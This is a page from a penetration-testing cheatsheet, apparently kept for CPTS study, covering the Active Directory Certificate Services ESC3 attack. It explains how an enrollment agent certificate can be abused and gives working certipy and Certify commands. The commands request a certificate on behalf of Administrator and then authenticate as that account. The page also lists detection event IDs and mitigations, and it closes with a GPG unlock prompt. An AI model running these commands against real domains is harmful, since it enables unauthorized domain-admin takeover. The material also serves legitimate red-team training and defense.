AD^:Active Directory

Attack #29 — ESC3 Certificate Request Agent

ESC3 exploits the Certificate Request Agent (Enrollment Agent) EKU. A template with this EKU allows the enrolled user to request certificates on behalf of…

advancedupdated 2026-08-10Certipy · Certify · PowerShell

🟢 Attack #29 — ESC3: Certificate Request Agent


📖 How It Works

ESC3 exploits the Certificate Request Agent (Enrollment Agent) EKU. A template with this EKU allows the enrolled user to request certificates on behalf of other users. If a low-privileged user can enroll for an Enrollment Agent certificate, they can then use it to request a Client Authentication certificate for any user in the domain — including Domain Admins.

Two-Step Attack

1. Enroll for a certificate with "Certificate Request Agent" EKU (Template A)
2. Use that certificate to request a Client Auth cert on behalf of Administrator (Template B)
3. Authenticate as Administrator using the resulting certificate

⚙️ Prerequisites

RequirementDetail
Template with Certificate Request Agent EKULow-priv users can enroll
Second template allowing enrollment-on-behalf-ofMust allow agent-based enrollment
Manager approval not requiredOn both templates

💻 Full Commands

# ── Enumerate ─────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC3 — Certificate Request Agent template

# ── Step 1: Get enrollment agent certificate ─────────────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template EnrollmentAgentTemplate -dc-ip 10.10.10.10

# ── Step 2: Request cert on behalf of Administrator ──────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template User -on-behalf-of 'corp\Administrator' \
  -pfx low_user.pfx -dc-ip 10.10.10.10

# ── Step 3: Authenticate ──────────────────────────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# ── Certify ───────────────────────────────────────────────────────────────────
.\Certify.exe request /ca:CORP-CA /template:EnrollmentAgentTemplate
# Convert to PFX, then use for on-behalf-of requests

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4886Security Log (CA)Certificate enrollment — watch for enrollment agent requests
4887Security Log (CA)On-behalf-of requests from non-admin enrollment agents

🔗 Attack Chain Context

[ESC3] ──→ Enrollment Agent → request certs as any user
         │
         ├──→ 🔗 Similar to ESC2 but with explicit Enrollment Agent EKU
         └──→ 💀 Defeated by: restrict enrollment agent templates, require approval

✅ Attack #29 — ESC3 complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.